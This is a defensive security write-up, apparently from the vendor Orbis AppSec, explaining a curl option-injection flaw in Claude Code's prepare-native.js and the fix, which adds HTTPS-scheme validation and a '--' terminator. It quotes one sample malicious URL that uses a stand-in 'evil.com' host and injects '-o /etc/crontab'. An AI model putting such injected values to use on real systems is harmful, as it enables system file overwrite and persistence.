How Command Injection Happens in JavaScript child_process and How to Fix It
In the packages/claude-code/lib/prepare-native.js file that handles native binary fetching for Claude Code, we discovered a high-severity command injection vulnerability at line 54. A function that downloads npm package tarballs was passing unsanitized URLs directly to curl, creating a dangerous attack surface where malicious registry responses could execute arbitrary shell commands.
This vulnerability is particularly insidious because it sits at the intersection of two trust boundaries: the npm registry (external) and local shell execution (privileged). Even though the immediate threat requires compromise of npm's infrastructure or a dependency confusion attack, the pattern itself represents an exploit primitive—reusable code that automated attack tools can chain with other weaknesses.
The Vulnerability Explained
The vulnerable code lived in fetchNativeTarball(spec, packDir):
// BEFORE (vulnerable)
function fetchNativeTarball(spec, packDir) {
// ... npm view command execution ...
const tarballUrl = /* fetched from npm registry */;
run('curl', [
'--fail',
'--location',
'--silent',
'--connect-timeout', String(curlConnectTimeout),
'--max-time', String(curlMaxTime),
'--output', directTarball,
tarballUrl, // ← DANGEROUS: unvalidated, positionally vulnerable
]);
}
The run() function wraps child_process, and tarballUrl comes directly from npm view output. Here's why this is dangerous:
The Attack Vector: If an attacker can influence the tarball URL returned by npm (through registry compromise, man-in-the-middle on insecure networks, or a malicious private registry), they could inject curl options or shell commands. Consider a malicious URL like:
https://evil.com/pkg.tgz -o /etc/crontab --next-option
Or worse, using curl's --config option to read arbitrary files, or URL-encoded shell metacharacters that might survive parsing.
Specific Risk in This Code: The run() helper likely uses child_process.spawn() or similar. While spawn() with array arguments is safer than exec(), the lack of:
1. URL scheme validation
2. Argument terminator (--)
...means curl might interpret the URL as option flags if it starts with -. This is a classic option injection pattern that precedes full command injection.
The Fix
The remediation applies defense in depth with two specific hardening measures:
// AFTER (hardened)
function fetchNativeTarball(spec, packDir) {
// ... npm view command execution ...
const tarballUrl = /* fetched from npm registry */;
if (!/^https:\/\//.test(tarballUrl)) { // Line 79-81: scheme validation
throw new Error(`Unexpected tarball URL scheme for ${spec}`);
}
run('curl', [
'--fail',
'--location',
'--silent',
'--connect-timeout', String(curlConnectTimeout),
'--max-time', String(curlMaxTime),
'--output', directTarball,
'--', // ← Line 89: argument terminator
tarballUrl, // Now safely bounded
]);
}
What Each Change Accomplishes
| Change | Line | Security Purpose |
|---|---|---|
/^https:\/\// regex validation |
79-81 | Enforces allowlist of https:// scheme, rejecting file://, ftp://, javascript:, or option-looking strings |
-- argument terminator |
89 | Tells curl: "stop parsing options, everything after is positional arguments"—neutralizes option injection even if validation somehow fails |
The -- terminator is a critical but often overlooked defense. Even with URL validation, defense-in-depth demands assuming validation might have bypasses. The terminator ensures curl treats tarballUrl strictly as a URL, never as flags.
Prevention & Best Practices
For child_process in Node.js
- Prefer
execFileoverexec:execFiledoesn't invoke the shell by default, eliminating shell injection vectors - Use
spawnwith array arguments: Never concatenate command strings - Validate before passing: Apply strict allowlist validation to any external input
- Argument terminators: Use
--before positional arguments that accept user input - Consider alternatives: For HTTP requests, use
https.get()orfetch()instead of shelling out to curl
Detection Tools
- Semgrep:
javascript.lang.security.detect-child-process.detect-child-process(the rule that found this) - CodeQL:
js/command-line-injection - ESLint:
security/detect-child-process
Standards & References
- OWASP: Command Injection Cheat Sheet
- CWE-78: Improper Neutralization of Special Elements used in an OS Command
- Node.js docs: child_process security considerations
Key Takeaways
- Never pass npm registry URLs directly to shell commands—always validate against expected schemes and use argument terminators
- The
fetchNativeTarball()function now enforces HTTPS-only with explicit regex validation before any network operation - Curl's
--terminator is essential defense-in-depth when passing dynamic URLs, preventing option injection even if validation fails - Array arguments to
child_processare necessary but not sufficient—positional option injection remains possible without terminators - Exploit primitives like unvalidated URL passing should be removed proactively, even when not immediately exploitable, to raise the bar against automated attack tools
How Orbis AppSec Detected This
Source: npm registry response data in tarballUrl variable (line 54, fetched via npm view JSON parsing)
Sink: run() function invoking child_process with curl command array containing unsanitized tarballUrl
Missing control: No URL scheme validation and no -- argument terminator to prevent curl option injection
CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Fix: Added /^https:\/\// regex validation to enforce HTTPS scheme and inserted -- argument terminator before tarballUrl in curl argument array
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
This vulnerability in prepare-native.js demonstrates how even "internal" tooling code—code that fetches dependencies rather than serving user requests—can harbor serious injection risks. The fix is elegantly minimal: two lines that transform a dangerous pattern into a hardened one. For developers, the lesson is clear: any data crossing a trust boundary, even from "trusted" infrastructure like npm, deserves validation before reaching shell execution. The combination of allowlist validation and argument terminators provides robust defense without complicating the code.
References
- CWE-78: https://cwe.mitre.org/data/definitions/78.html
- OWASP Command Injection Defense Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html
- Node.js child_process documentation: https://nodejs.org/api/child_process.html
- Semgrep rule: https://semgrep.dev/r?q=javascript.lang.security.detect-child-process.detect-child-process
- Pull Request: harden: sanitize child_process call in prepare-native.js...